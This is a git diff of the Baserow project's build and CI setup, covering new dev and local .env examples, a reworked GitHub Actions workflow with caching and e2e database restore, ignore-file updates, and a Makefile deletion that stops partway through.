diff --git a/.dockerignore b/.dockerignore index 2620dd9ea5..90105c8112 100644 --- a/.dockerignore +++ b/.dockerignore @@ -1,9 +1,26 @@ **/.nuxt +**/.nuxt-storybook +**/.storybook **/node_modules +**/.cache +web-frontend/reports/ + +**/.venv/ +**/.ruff_cache **/.pytest_cache +**/__pycache__ +**/*.pyc +**/*.pyo +backend/reports/ +backend/src/baserow.egg-info +backend/media/ + *.iml .idea/ +.vscode/ .local/ -web-frontend/reports/ -backend/reports/ -backend/src/baserow.egg-info +.git/ +**/.claude/ +**/.gitignore +**/Dockerfile +**/docker-compose*.yml \ No newline at end of file diff --git a/.env.dev.example b/.env.dev.example deleted file mode 100644 index d03044ef73..0000000000 --- a/.env.dev.example +++ /dev/null @@ -1,43 +0,0 @@ -# An example .env file for use with -# `docker-compose -f docker-compose.yml -f docker-compose.dev.yml up -d`. -# -# DO NOT USE THIS FILE IN PRODUCTION. ONLY USE THIS FOR LOCAL DEVELOPMENT. - -SECRET_KEY=baserow -DATABASE_PASSWORD=baserow -REDIS_PASSWORD=baserow - -# You can find your uid and gid by running the `id` command. -UID=replace me with your uid -GID=replace me with your gid - -# Do not edit the following override, it is required to work with docker-compose.dev.yml. -BASEROW_PUBLIC_URL= - -# In the Dev environment we set the next two variables to force the Caddy reverse proxy -# onto an unused port. We only want to use Caddy to serve media files and not act -# as a reverse proxy between your browser and Baserow. -WEB_FRONTEND_PORT=4000 -WEB_FRONTEND_SSL_PORT=4443 - -PUBLIC_BACKEND_URL=http://localhost:8000 -PUBLIC_WEB_FRONTEND_URL=http://localhost:3000 -# If you change WEB_FRONTEND_PORT above you also need the change the 4000 here to match. -MEDIA_URL=http://localhost:4000/media/ - -# Optional PostgreSQL config for better performance -POSTGRES_DEV_EXTRA_ARGS="-c shared_buffers=512MB -c fsync=off -c full_page_writes=off -c synchronous_commit=off" - -POSTGRES_IMAGE_VERSION=13 - -# Settings for local dev with MinIO to have local s3-like object storage -# AWS_ACCESS_KEY_ID= -# AWS_SECRET_ACCESS_KEY= -# AWS_STORAGE_BUCKET_NAME=baserow -# AWS_S3_ENDPOINT_URL=http://192.168.1.16:9000 -# AWS_S3_USE_SSL=off -# AWS_S3_CUSTOM_DOMAIN= -# AWS_DEFAULT_ACL= -# AWS_S3_VERIFY=off -# AWS_S3_SIGNATURE_VERSION = 's3v4' -# AWS_S3_ADDRESSING_STYLE = 'path' diff --git a/.env.docker-dev.example b/.env.docker-dev.example new file mode 100644 index 0000000000..db83356691 --- /dev/null +++ b/.env.docker-dev.example @@ -0,0 +1,49 @@ +# Docker development environment for Baserow +# Used by: just dc-dev (docker-compose.dev.yml) +# +# This file is auto-created from .env.docker-dev.example when you run `just dc-dev`. +# For native local development (without Docker), use .env.local instead. +# +# DO NOT USE THIS FILE IN PRODUCTION. + +# Compose profiles to enable. By default, all services including optional ones +# (storybook, flower) are started. Set to empty to disable optional services. +# See: https://docs.docker.com/compose/how-tos/profiles/ +COMPOSE_PROFILES=optional + +SECRET_KEY=baserow +DATABASE_PASSWORD=baserow +REDIS_PASSWORD=baserow + +# Do not edit the following override, it is required to work with docker-compose.dev.yml. +BASEROW_PUBLIC_URL= +PRIVATE_BACKEND_URL=http://backend:8000 + +# In the Dev environment we set the next two variables to force the Caddy reverse proxy +# onto an unused port. We only want to use Caddy to serve media files and not act +# as a reverse proxy between your browser and Baserow. +WEB_FRONTEND_PORT=4000 +WEB_FRONTEND_SSL_PORT=4443 + +PUBLIC_BACKEND_URL=http://localhost:8000 +PUBLIC_WEB_FRONTEND_URL=http://localhost:3000 +# If you change WEB_FRONTEND_PORT above you also need the change the 4000 here to match. +MEDIA_URL=http://localhost:4000/media/ + +# Optional PostgreSQL config for better performance (must be single line in .env files) +POSTGRES_DEV_EXTRA_ARGS=-c shared_buffers=512MB -c fsync=off -c full_page_writes=off -c synchronous_commit=off -c max_locks_per_transaction=512 -c logging_collector=off -c log_statement=none -c log_duration=off -c log_min_duration_statement=-1 -c log_checkpoints=off -c log_connections=off -c log_disconnections=off -c log_lock_waits=off -c log_temp_files=-1 -c checkpoint_timeout=1h -c max_wal_size=10GB -c min_wal_size=1GB -c wal_level=minimal -c max_wal_senders=0 -c autovacuum=off -c random_page_cost=1.0 -c effective_io_concurrency=200 -c work_mem=256MB -c maintenance_work_mem=512MB + + +POSTGRES_IMAGE_VERSION=13 + +# Settings for local dev with MinIO to have local s3-like object storage +# AWS_ACCESS_KEY_ID= +# AWS_SECRET_ACCESS_KEY= +# AWS_STORAGE_BUCKET_NAME=baserow +# AWS_S3_ENDPOINT_URL=http://YOUR_LOCAL_IP:9000 +# AWS_S3_USE_SSL=off +# AWS_S3_CUSTOM_DOMAIN= +# AWS_DEFAULT_ACL= +# AWS_S3_VERIFY=off +# AWS_S3_SIGNATURE_VERSION = 's3v4' +# AWS_S3_ADDRESSING_STYLE = 'path' diff --git a/.env.local.example b/.env.local.example new file mode 100644 index 0000000000..43909936f2 --- /dev/null +++ b/.env.local.example @@ -0,0 +1,74 @@ +# Local development environment for Baserow +# Copy this file to .env.local and adjust as needed +# +# This file is for running Baserow OUTSIDE of Docker (native Python/Node). +# For Docker development, use .env.dev.example instead. +# +# ============================================================================= +# Django Settings +# ============================================================================= +DJANGO_SETTINGS_MODULE=baserow.config.settings.dev +# For running tests: +# DJANGO_SETTINGS_MODULE=baserow.config.settings.test + +# ============================================================================= +# Security (use simple values for local dev only!) +# ============================================================================= +SECRET_KEY=local-dev-secret-key-not-for-production +BASEROW_JWT_SIGNING_KEY=local-dev-jwt-key-not-for-production + +# ============================================================================= +# Database (local PostgreSQL) +# ============================================================================= +DATABASE_HOST=localhost +DATABASE_PORT=5432 +DATABASE_NAME=baserow +DATABASE_USER=baserow +DATABASE_PASSWORD=baserow +# speed up operations and tests (must be single line, quoted for bash sourcing) +POSTGRES_DEV_EXTRA_ARGS="-c shared_buffers=512MB -c fsync=off -c full_page_writes=off -c synchronous_commit=off -c max_locks_per_transaction=512 -c logging_collector=off -c log_statement=none -c log_duration=off -c log_min_duration_statement=-1 -c log_checkpoints=off -c log_connections=off -c log_disconnections=off -c log_lock_waits=off -c log_temp_files=-1 -c checkpoint_timeout=1h -c max_wal_size=10GB -c min_wal_size=1GB -c wal_level=minimal -c max_wal_senders=0 -c autovacuum=off -c random_page_cost=1.0 -c effective_io_concurrency=200 -c work_mem=256MB -c maintenance_work_mem=512MB" + +# Or use a connection URL: +# DATABASE_URL=postgresql://baserow:baserow@localhost:5432/baserow + +# ============================================================================= +# Redis (local Redis) +# ============================================================================= +REDIS_HOST=localhost +REDIS_PORT=6379 +REDIS_PASSWORD=baserow + +# ============================================================================= +# URLs +# ============================================================================= +BASEROW_PUBLIC_URL= +PUBLIC_BACKEND_URL=http://localhost:8000 +PUBLIC_WEB_FRONTEND_URL=http://localhost:3000 +PRIVATE_BACKEND_URL=http://localhost:8000 + +# ============================================================================= +# Backend Development Settings +# ============================================================================= +BASEROW_BACKEND_DEBUG=on +BASEROW_BACKEND_LOG_LEVEL=INFO + +# Disable template sync on startup for faster boot +SYNC_TEMPLATES_ON_STARTUP=false +MIGRATE_ON_STARTUP=false + +# ============================================================================= +# Optional: Email (use console backend for local dev) +# ============================================================================= +# EMAIL_BACKEND=django.core.mail.backends.console.EmailBackend + +# ============================================================================= +# Optional: Celery +# ============================================================================= +# Run celery tasks synchronously (no separate worker needed) +# CELERY_TASK_ALWAYS_EAGER=true + +# ============================================================================= +# Media files (path relative to the backend folder) +# ============================================================================= +MEDIA_ROOT=./media +MEDIA_URL=http://localhost:8000/media/ diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2227f4d991..0c41a05e02 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -6,9 +6,16 @@ on: - develop - master pull_request: + workflow_dispatch: + inputs: + clear_cache: + description: 'Clear Docker build cache before building' + required: false + default: false + type: boolean # Customize the workflow run name to show branch/PR info -run-name: "CI: ${{ github.event_name == 'pull_request' && github.event.pull_request.title || github.ref_name }}" +run-name: "CI: ${{ github.event_name == 'pull_request' && github.event.pull_request.title || github.ref_name }}${{ inputs.clear_cache && ' (cache cleared)' || '' }}" # Automatically cancel in-progress workflows for the same branch/PR concurrency: @@ -53,7 +60,7 @@ jobs: # ========================================================================== build-backend: - name: Build Backend Dev Image + name: Build Backend CI Image runs-on: ubuntu-latest permissions: contents: read @@ -82,39 +89,23 @@ jobs: FULL_IMAGE="${IMAGE_NAME}:${IMAGE_TAG}" echo "full=${FULL_IMAGE}" >> $GITHUB_OUTPUT - - name: Determine cache sources - id: cache - run: | - BRANCH_NAME="${GITHUB_REF_NAME}" - TRUNCATED_BRANCH="${BRANCH_NAME:0:100}" - TRUNCATED_BRANCH="${TRUNCATED_BRANCH//\//-}" - - IMAGE_NAME="${{ env.REGISTRY }}/${{ env.IMAGE_REPO }}/backend_dev" - BRANCH_CACHE="${IMAGE_NAME}:${{ env.CI_IMAGE_TAG_PREFIX }}${TRUNCATED_BRANCH}" - DEVELOP_CACHE="${IMAGE_NAME}:${{ env.CI_IMAGE_TAG_PREFIX }}${{ env.DEVELOP_BRANCH_NAME }}" - - echo "branch=${BRANCH_CACHE}" >> $GITHUB_OUTPUT - echo "develop=${DEVELOP_CACHE}" >> $GITHUB_OUTPUT - - - name: Build and push backend dev image + - name: Build and push backend CI image uses: docker/build-push-action@v5 with: context: . file: backend/Dockerfile - target: dev + target: ci push: true tags: ${{ steps.image.outputs.full }} - cache-from: | - type=registry,ref=${{ steps.cache.outputs.branch }} - type=registry,ref=${{ steps.cache.outputs.develop }} - cache-to: type=inline + cache-from: ${{ inputs.clear_cache != true && 'type=gha,scope=backend-ci' || '' }} + cache-to: type=gha,scope=backend-ci,mode=max labels: | org.opencontainers.image.source=${{ github.server_url }}/${{ github.repository }} org.opencontainers.image.revision=${{ env.REAL_GITHUB_SHA }} org.opencontainers.image.created=${{ github.event.head_commit.timestamp }} build-frontend: - name: Build Web-Frontend Dev Image + name: Build Web-Frontend CI Image runs-on: ubuntu-latest permissions: contents: read @@ -143,32 +134,16 @@ jobs: FULL_IMAGE="${IMAGE_NAME}:${IMAGE_TAG}" echo "full=${FULL_IMAGE}" >> $GITHUB_OUTPUT - - name: Determine cache sources - id: cache - run: | - BRANCH_NAME="${GITHUB_REF_NAME}" - TRUNCATED_BRANCH="${BRANCH_NAME:0:100}" - TRUNCATED_BRANCH="${TRUNCATED_BRANCH//\//-}" - - IMAGE_NAME="${{ env.REGISTRY }}/${{ env.IMAGE_REPO }}/web-frontend_dev" - BRANCH_CACHE="${IMAGE_NAME}:${{ env.CI_IMAGE_TAG_PREFIX }}${TRUNCATED_BRANCH}" - DEVELOP_CACHE="${IMAGE_NAME}:${{ env.CI_IMAGE_TAG_PREFIX }}${{ env.DEVELOP_BRANCH_NAME }}" - - echo "branch=${BRANCH_CACHE}" >> $GITHUB_OUTPUT - echo "develop=${DEVELOP_CACHE}" >> $GITHUB_OUTPUT - - - name: Build and push web-frontend dev image + - name: Build and push web-frontend CI image uses: docker/build-push-action@v5 with: context: . file: web-frontend/Dockerfile - target: dev + target: ci push: true tags: ${{ steps.image.outputs.full }} - cache-from: | - type=registry,ref=${{ steps.cache.outputs.branch }} - type=registry,ref=${{ steps.cache.outputs.develop }} - cache-to: type=inline + cache-from: ${{ inputs.clear_cache != true && 'type=gha,scope=frontend-ci' || '' }} + cache-to: type=gha,scope=frontend-ci,mode=max labels: | org.opencontainers.image.source=${{ github.server_url }}/${{ github.repository }} org.opencontainers.image.revision=${{ env.REAL_GITHUB_SHA }} @@ -227,19 +202,11 @@ jobs: needs: - build-backend - detect-changes + if: needs.detect-changes.outputs.backend == 'true' || github.ref_name == 'develop' || github.ref_name == 'master' permissions: contents: read packages: read steps: - - name: Exit early if backend not changed and not develop/master - run: | - if [[ "${{ needs.detect-changes.outputs.backend }}" != "true" && \ - "${{ github.ref_name }}" != "develop" && \ - "${{ github.ref_name }}" != "master" ]]; then - echo "No backend changes detected — skipping backend lint." - exit 0 - fi - - name: Log in to GitHub Container Registry uses: docker/login-action@v3 with: @@ -256,19 +223,11 @@ jobs: needs: - build-frontend - detect-changes + if: needs.detect-changes.outputs.frontend == 'true' || github.ref_name == 'develop' || github.ref_name == 'master' permissions: contents: read packages: read steps: - - name: Exit early if frontend not changed and not develop/master - run: | - if [[ "${{ needs.detect-changes.outputs.frontend }}" != "true" && \ - "${{ github.ref_name }}" != "develop" && \ - "${{ github.ref_name }}" != "master" ]]; then - echo "No backend changes detected — skipping backend lint." - exit 0 - fi - - name: Log in to GitHub Container Registry uses: docker/login-action@v3 with: @@ -283,21 +242,11 @@ jobs: name: Dockerfile Lint (hadolint) runs-on: ubuntu-latest needs: - - backend-lint - - frontend-lint - detect-changes + if: needs.detect-changes.outputs.dockerfiles == 'true' || github.ref_name == 'develop' || github.ref_name == 'master' permissions: contents: read steps: - - name: Exit early if dockerfiles not changed and not develop/master - run: | - if [[ "${{ needs.detect-changes.outputs.dockerfiles }}" != "true" && \ - "${{ github.ref_name }}" != "develop" && \ - "${{ github.ref_name }}" != "master" ]]; then - echo "No backend changes detected — skipping backend lint." - exit 0 - fi - - name: Checkout code uses: actions/checkout@v4 @@ -335,18 +284,10 @@ jobs: runs-on: ubuntu-latest needs: - detect-changes + if: needs.detect-changes.outputs.helm == 'true' || github.ref_name == 'develop' || github.ref_name == 'master' permissions: contents: read steps: - - name: Exit early if helm not changed and not develop/master - run: | - if [[ "${{ needs.detect-changes.outputs.helm }}" != "true" && \ - "${{ github.ref_name }}" != "develop" && \ - "${{ github.ref_name }}" != "master" ]]; then - echo "No backend changes detected — skipping backend lint." - exit 0 - fi - - name: Checkout code uses: actions/checkout@v4 @@ -377,8 +318,8 @@ jobs: runs-on: ubuntu-latest needs: - build-backend - - backend-lint - detect-changes + if: needs.detect-changes.outputs.backend == 'true' || github.ref_name == 'develop' || github.ref_name == 'master' permissions: contents: read packages: read @@ -394,16 +335,9 @@ jobs: --health-interval 10s --health-timeout 5s --health-retries 5 + --tmpfs /var/lib/postgresql/data:rw,noexec,nosuid,size=4g + --shm-size=512m steps: - - name: Exit early if backend not changed and not develop/master - run: | - if [[ "${{ needs.detect-changes.outputs.backend }}" != "true" && \ - "${{ github.ref_name }}" != "develop" && \ - "${{ github.ref_name }}" != "master" ]]; then - echo "No backend changes detected — skipping backend lint." - exit 0 - fi - - name: Log in to GitHub Container Registry uses: docker/login-action@v3 with: @@ -433,8 +367,8 @@ jobs: runs-on: ubuntu-latest needs: - build-backend - - backend-lint - detect-changes + if: needs.detect-changes.outputs.backend == 'true' || github.ref_name == 'develop' || github.ref_name == 'master' permissions: contents: read packages: read @@ -456,16 +390,9 @@ jobs: --health-interval 10s --health-timeout 5s --health-retries 5 + --tmpfs /var/lib/postgresql/data:rw,noexec,nosuid,size=4g + --shm-size=512m steps: - - name: Exit early if backend not changed and not develop/master - run: | - if [[ "${{ needs.detect-changes.outputs.backend }}" != "true" && \ - "${{ github.ref_name }}" != "develop" && \ - "${{ github.ref_name }}" != "master" ]]; then - echo "No backend changes detected — skipping backend lint." - exit 0 - fi - - name: Log in to GitHub Container Registry uses: docker/login-action@v3 with: @@ -513,8 +440,8 @@ jobs: runs-on: ubuntu-latest needs: - build-frontend - - frontend-lint - detect-changes + if: needs.detect-changes.outputs.frontend == 'true' || github.ref_name == 'develop' || github.ref_name == 'master' permissions: contents: read packages: read @@ -525,15 +452,6 @@ jobs: matrix: shard: [1, 2, 3, 4] steps: - - name: Exit early if frontend not changed and not develop/master - run: | - if [[ "${{ needs.detect-changes.outputs.frontend }}" != "true" && \ - "${{ github.ref_name }}" != "develop" && \ - "${{ github.ref_name }}" != "master" ]]; then - echo "No backend changes detected — skipping backend lint." - exit 0 - fi - - name: Log in to GitHub Container Registry uses: docker/login-action@v3 with: @@ -573,21 +491,11 @@ jobs: name: Zapier Integration Tests runs-on: ubuntu-latest needs: - - backend-lint - - frontend-lint - detect-changes + if: needs.detect-changes.outputs.zapier == 'true' || github.ref_name == 'develop' || github.ref_name == 'master' permissions: contents: read steps: - - name: Exit early if zapier not changed and not develop/master - run: | - if [[ "${{ needs.detect-changes.outputs.zapier }}" != "true" && \ - "${{ github.ref_name }}" != "develop" && \ - "${{ github.ref_name }}" != "master" ]]; then - echo "No backend changes detected — skipping backend lint." - exit 0 - fi - - name: Checkout code uses: actions/checkout@v4 @@ -595,6 +503,8 @@ jobs: uses: actions/setup-node@v4 with: node-version: "18" + cache: "yarn" + cache-dependency-path: "integrations/zapier/yarn.lock" - name: Run Zapier tests run: | @@ -606,21 +516,11 @@ jobs: name: Check MJML Email Templates Compiled runs-on: ubuntu-latest needs: - - backend-lint - - frontend-lint - detect-changes + if: needs.detect-changes.outputs.mjml == 'true' || github.ref_name == 'develop' || github.ref_name == 'master' permissions: contents: read steps: - - name: Exit early if mjml not changed and not develop/master - run: | - if [[ "${{ needs.detect-changes.outputs.mjml }}" != "true" && \ - "${{ github.ref_name }}" != "develop" && \ - "${{ github.ref_name }}" != "master" ]]; then - echo "No backend changes detected — skipping backend lint." - exit 0 - fi - - name: Checkout code uses: actions/checkout@v4 @@ -628,6 +528,8 @@ jobs: uses: actions/setup-node@v4 with: node-version: "18" + cache: "yarn" + cache-dependency-path: "backend/email_compiler/yarn.lock" - name: Compile MJML templates run: | @@ -655,8 +557,7 @@ jobs: - detect-changes - build-backend - build-frontend - - backend-lint - - frontend-lint + if: needs.detect-changes.outputs.backend == 'true' || needs.detect-changes.outputs.frontend == 'true' || needs.detect-changes.outputs.dockerfiles == 'true' || github.ref_name == 'develop' || github.ref_name == 'master' permissions: contents: read packages: read @@ -665,7 +566,7 @@ jobs: strategy: fail-fast: false matrix: - shard: [1, 2, 3, 4] + shard: [1, 2] services: db: image: pgvector/pgvector:pg13 @@ -678,6 +579,8 @@ jobs: --health-interval 10s --health-timeout 5s --health-retries 5 + --tmpfs /var/lib/postgresql/data:rw,noexec,nosuid,size=4g + --shm-size=512m redis: image: redis:6-alpine options: >- @@ -685,6 +588,7 @@ jobs: --health-interval 10s --health-timeout 5s --health-retries 5 + --tmpfs /data:rw,noexec,nosuid,size=256m s3mock: image: adobe/s3mock:3.12.0 env: @@ -692,17 +596,6 @@ jobs: ports: - 9090:9090 steps: - - name: Exit early if no relevant changes - run: | - if [[ "${{ needs.detect-changes.outputs.backend }}" != "true" && \ - "${{ needs.detect-changes.outputs.frontend }}" != "true" && \ - "${{ needs.detect-changes.outputs.dockerfiles }}" != "true" && \ - "${{ github.ref_name }}" != "develop" && \ - "${{ github.ref_name }}" != "master" ]]; then - echo "No backend, frontend, or Dockerfile changes detected — skipping job." - exit 0 - fi - - name: Checkout code uses: actions/checkout@v4 @@ -720,8 +613,22 @@ jobs: username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - - name: Start backend service + - name: Restore database from dump run: | + echo "Restoring database from dump to container ${{ job.services.db.id }}..." + + # Drop and recreate database + docker exec ${{ job.services.db.id }} psql -U baserow -d postgres -c "DROP DATABASE IF EXISTS baserow;" + docker exec ${{ job.services.db.id }} psql -U baserow -d postgres -c "CREATE DATABASE baserow;" + + # Restore from dump (migrations and templates already applied) + docker exec -i ${{ job.services.db.id }} pg_restore -U baserow -d baserow --no-owner --no-acl < e2e-tests/fixtures/e2e-db.dump || true + + echo "Database restored successfully!" + + - name: Start all services in parallel + run: | + # Start backend docker run -d --network="${{ job.services.db.network }}" \ --name backend \ -e DATABASE_HOST=db \ @@ -739,12 +646,12 @@ jobs: -e AWS_S3_URL_PROTOCOL=http: \ -e FEATURE_FLAGS="*" \ -e DJANGO_SETTINGS_MODULE=baserow.config.settings.e2e \ - -e BASEROW_TRIGGER_SYNC_TEMPLATES_AFTER_MIGRATION=false \ + -e MIGRATE_ON_STARTUP=true \ + -e PRIVATE_BACKEND_URL=http://backend:8000 \ -p 8000:8000 \ - ${{ needs.build-backend.outputs.image }} gunicorn + ${{ needs.build-backend.outputs.image }} gunicorn & - - name: Start celery worker - run: | + # Start celery worker docker run -d --network="${{ job.services.db.network }}" \ --name celery \ -e DATABASE_HOST=db \ @@ -764,24 +671,42 @@ jobs: -e DJANGO_SETTINGS_MODULE=baserow.config.settings.e2e \ -e BASEROW_RUN_MINIMAL=yes \ -e BASEROW_AMOUNT_OF_WORKERS=1 \ - ${{ needs.build-backend.outputs.image }} celery-worker + ${{ needs.build-backend.outputs.image }} celery-worker & - - name: Start web-frontend service - run: | + # Start web-frontend docker run -d --network="${{ job.services.db.network }}" \ --name web-frontend \ -e PUBLIC_BACKEND_URL=http://localhost:8000 \ -e PUBLIC_WEB_FRONTEND_URL=http://localhost:3000 \ -e PRIVATE_BACKEND_URL=http://backend:8000 \ -e FEATURE_FLAGS="*" \ - -e NODE_OPTIONS=--max-old-space-size=8192 \ -p 3000:3000 \ - ${{ needs.build-frontend.outputs.image }} nuxt-dev-no-attach + ${{ needs.build-frontend.outputs.image }} nuxt-local & + + # Wait for all docker run commands to complete + wait + echo "All services started" - - name: Install Playwright + - name: Install dependencies run: | cd e2e-tests yarn install + + - name: Get Playwright version + id: playwright-version + run: echo "version=$(cd e2e-tests && yarn list @playwright/test --depth=0 | grep @playwright/test | sed 's/.*@//')" >> $GITHUB_OUTPUT + + - name: Cache Playwright browsers + uses: actions/cache@v4 + id: playwright-cache + with: + path: ~/.cache/ms-playwright + key: playwright-${{ runner.os }}-${{ steps.playwright-version.outputs.version }} + + - name: Install Playwright browsers + if: steps.playwright-cache.outputs.cache-hit != 'true' + run: | + cd e2e-tests npx playwright install --with-deps firefox - name: Wait for services @@ -801,7 +726,7 @@ jobs: PRIVATE_BACKEND_URL: http://backend:8000 run: | cd e2e-tests - CI=1 npx playwright test --timeout=30000 --grep-invert=@slow --shard=${{ matrix.shard }}/4 --project=firefox + CI=1 npx playwright test --timeout=30000 --grep-invert=@slow --shard=${{ matrix.shard }}/2 --project=firefox - name: Upload E2E test results uses: actions/upload-artifact@v4 @@ -812,6 +737,18 @@ jobs: retention-days: 7 include-hidden-files: true + - name: Dump container logs on failure + if: failure() + run: | + echo "=== Backend logs ===" + docker logs backend 2>&1 || true + echo "" + echo "=== Celery logs ===" + docker logs celery 2>&1 || true + echo "" + echo "=== Web-frontend logs ===" + docker logs web-frontend 2>&1 || true + - name: Cleanup containers if: always() run: | @@ -953,11 +890,14 @@ jobs: with: context: . file: backend/Dockerfile + target: prod push: true tags: | ${{ env.REGISTRY }}/${{ env.IMAGE_REPO }}/backend:ci-tested-${{ env.REAL_GITHUB_SHA }} - cache-from: type=registry,ref=${{ env.REGISTRY }}/${{ env.IMAGE_REPO }}/backend_dev:ci-${{ env.REAL_GITHUB_SHA }} - cache-to: type=inline + cache-from: | + type=gha,scope=backend-ci + type=gha,scope=backend-prod + cache-to: type=gha,scope=backend-prod,mode=max labels: | org.opencontainers.image.source=${{ github.server_url }}/${{ github.repository }} org.opencontainers.image.revision=${{ env.REAL_GITHUB_SHA }} @@ -992,11 +932,14 @@ jobs: with: context: . file: web-frontend/Dockerfile + target: prod push: true tags: | ${{ env.REGISTRY }}/${{ env.IMAGE_REPO }}/web-frontend:ci-tested-${{ env.REAL_GITHUB_SHA }} - cache-from: type=registry,ref=${{ env.REGISTRY }}/${{ env.IMAGE_REPO }}/web-frontend_dev:ci-${{ env.REAL_GITHUB_SHA }} - cache-to: type=inline + cache-from: | + type=gha,scope=frontend-ci + type=gha,scope=frontend-prod + cache-to: type=gha,scope=frontend-prod,mode=max labels: | org.opencontainers.image.source=${{ github.server_url }}/${{ github.repository }} org.opencontainers.image.revision=${{ env.REAL_GITHUB_SHA }} @@ -1036,7 +979,8 @@ jobs: FROM_WEBFRONTEND_IMAGE=${{ env.REGISTRY }}/${{ env.IMAGE_REPO }}/web-frontend:ci-tested-${{ env.REAL_GITHUB_SHA }} tags: | ${{ env.REGISTRY }}/${{ env.IMAGE_REPO }}/baserow:ci-tested-${{ env.REAL_GITHUB_SHA }} - cache-to: type=inline + cache-from: type=gha,scope=all-in-one + cache-to: type=gha,scope=all-in-one,mode=max labels: | org.opencontainers.image.source=${{ github.server_url }}/${{ github.repository }} org.opencontainers.image.revision=${{ env.REAL_GITHUB_SHA }} @@ -1074,7 +1018,8 @@ jobs: FROM_IMAGE=${{ env.REGISTRY }}/${{ env.IMAGE_REPO }}/baserow:ci-tested-${{ env.REAL_GITHUB_SHA }} tags: | ${{ env.REGISTRY }}/${{ env.IMAGE_REPO }}/cloudron:ci-tested-${{ env.REAL_GITHUB_SHA }} - cache-to: type=inline + cache-from: type=gha,scope=cloudron + cache-to: type=gha,scope=cloudron,mode=max labels: | org.opencontainers.image.source=${{ github.server_url }}/${{ github.repository }} org.opencontainers.image.revision=${{ env.REAL_GITHUB_SHA }} diff --git a/.gitignore b/.gitignore index 0dcdbbd1ba..efc64a84e7 100644 --- a/.gitignore +++ b/.gitignore @@ -95,8 +95,17 @@ docker-compose.override.yml # python venv/ +.venv/ .profiles/ +# Media files +backend/media/ + +# Local environment files (not for Docker) +.env.local +**/.env.local +.env.docker-dev + web-frontend/plugins/ backend/plugins/ web-frontend/reports/ @@ -124,6 +133,13 @@ out/ .cursor-config/ !config/cursor/.cursor-config/ +# Claude Code local settings +.claude/settings.local.md + +# Personal justfile recipes (not tracked) +local.just +**/local.just + # Pyright config file pyrightconfig.json diff --git a/Makefile b/Makefile deleted file mode 100644 index 1ddab873f3..0000000000 --- a/Makefile +++ /dev/null @@ -1,202 +0,0 @@ -ifeq ($(shell uname -s),Darwin) - REALPATH:=grealpath -em -else - REALPATH:=realpath -em -endif - -SHELL=/bin/bash -WORKDIR:=$(shell $(REALPATH) $(shell pwd)) - -SUBDIRS:=backend web-frontend -DOCKERCLI:=docker -DOCKERC:=$(DOCKERCLI) compose - -DOCKER_SPLIT_CONF:=-f docker-compose.yml -f docker-compose.dev.yml -DOCKER_ALL_IN_ONE_CONF:=-f deploy/all-in-one/docker-compose.yml -f deploy/all-in-one/docker-compose.dev.yml - -.PHONY: install build .callsubcmd $(SUBDIRS) help package-build test tests\ - lint lint-fix docker-lint changelog\ - docker-status docker-build docker-start docker-clean docker-stop docker-kill \ - deps deps-upgrade \ - clean clean-all - -help: - @echo "baserow make. available targets:" - @echo "targets that are executed in backend/frontend dirs:" - @echo " make install - install locally with dependencies" - @echo " make package-build - build packages locally" - @echo " make lint - check code style" - @echo " make test - run test suite" - @echo " make changelog - add a new changelog entry" - @echo " make clean-all - remove docker images, venv and frontend node_modules dir" - @echo " " - @echo "targets that are executed at top-dir level:" - @echo "" - @echo " make docker-build - build docker images for dev env" - @echo " make docker-start - start local dev env" - @echo " make docker-stop - stop local dev env" - @echo " make docker-status - show current docker containers" - @echo " make docker-clean - remove docker images" - @echo " make docker-lint - validate dockerfiles" - @echo "" - @echo " make docker-backend-shell - start a shell in backend container" - @echo " make docker-backend-logs - follow logs in backend container" - @echo " make docker-backend-attach - attach to backend container" - @echo "" - @echo " make docker-frontend-shell - start a shell in frontend container" - @echo " make docker-frontend-logs - follow logs in frontend container" - @echo " make docker-frontend-attach - attach to frontend container" - @echo "" - @echo " make docker-allinone-build - build all-in-one dev container" - @echo " make docker-allinone-start - start all-in-one dev container" - @echo " make docker-allinone-stop - stop all-in-one dev container" - @echo "" - - - -# create .env file with default values if no file exists -.env: - @cat .env.example > .env - @echo "### DEV VARS" >> .env - @cat .env.dev.example >> .env - @sed -i'' -e 's/replace me with your uid/$(shell id -u)/g' .env - @sed -i'' -e 's/replace me with your gid/$(shell id -g)/g' .env - @echo "Created .env file with default values" - @echo "Please review contents of .env" - @echo "" - - -# execute $(SUBCMD) in subdirs with make -# NOTE: SUBCMD is substituted at rule level while $SDIR is shell variable -.subcmd: - @echo "calling $(SUBCMD) in subdirs" - for SDIR in $(SUBDIRS); do echo "$$SDIR/$(SUBCMD)"; \ - cd $(WORKDIR) && cd $$SDIR && $(MAKE) $(SUBCMD) && cd ..; \ - done - -# NOTE: each target that need to call subdir mae - -install: SUBCMD=install deps-install deps-install-dev -install: .subcmd - -package-build: SUBCMD=package-build -package-build: .subcmd - -lint: SUBCMD=lint -lint: .subcmd docker-lint - -lint-fix: SUBCMD=lint-fix -lint-fix: .subcmd - -test: SUBCMD=test -test: .subcmd - -tests: test - -changelog: - $(MAKE) -C changelog add - -.docker-build: .env - $(DOCKERC) $(DOCKER_CONFIG_FILES) build - -.docker-start: .env - $(DOCKERC) $(DOCKER_CONFIG_FILES) up -d - -.docker-stop: .env - $(DOCKERC) $(DOCKER_CONFIG_FILES) stop - -.docker-kill: .env - $(DOCKERC) $(DOCKER_CONFIG_FILES) kill - -.docker-clean: .env - $(DOCKERC) $(DOCKER_CONFIG_FILES) rm -f -v - -docker-build: DOCKER_CONFIG_FILES=$(DOCKER_SPLIT_CONF) -docker-build: .docker-build - -docker-start: DOCKER_CONFIG_FILES=$(DOCKER_SPLIT_CONF) -docker-start: docker-build .docker-start - -docker-stop: DOCKER_CONFIG_FILES=$(DOCKER_SPLIT_CONF) -docker-stop: .docker-stop - -docker-kill: DOCKER_CONFIG_FILES=$(DOCKER_SPLIT_CONF) -docker-kill: .docker-kill - -docker-clean: DOCKER_CONFIG_FILES=$(DOCKER_SPLIT_CONF) -docker-clean: docker-stop .docker-clean - -docker-lint: - $(DOCKERCLI) run --rm -i -v "$(shell pwd)":/opt/hadolint/. -w /opt/hadolint \ - hadolint/hadolint:2.9.3-debian \ - hadolint -f tty \ - --ignore DL3008 \ - backend/Dockerfile \ - web-frontend/Dockerfile \ - heroku.Dockerfile \ - e2e-tests/Dockerfile \ - deploy/*/Dockerfile - -# those images are required to build all-in-one image -.docker-build-standalone-images: - docker build -f backend/Dockerfile . -t baserow_backend - docker build -f 